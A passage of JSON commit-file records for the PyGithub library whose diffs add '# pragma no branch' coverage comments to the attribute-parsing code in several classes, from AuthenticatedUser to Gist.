\"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":25,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","changes":50,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","filename":"src/github/AuthenticatedUser.py"},{"patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","filename":"src/github/Authorization.py"},{"patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","status":"modified","deletions":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","changes":4,"additions":2,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","filename":"src/github/Branch.py"},{"patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","filename":"src/github/Commit.py"},{"patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","filename":"src/github/CommitComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","filename":"src/github/CommitFile.py"},{"patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]","status":"modified","deletions":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","changes":6,"additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","filename":"src/github/CommitStats.py"},{"patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":20,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","changes":40,"additions":20,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","filename":"src/github/Download.py"},{"patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]","status":"modified","deletions":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","changes":16,"additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","filename":"src/github/Event.py"},{"patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ 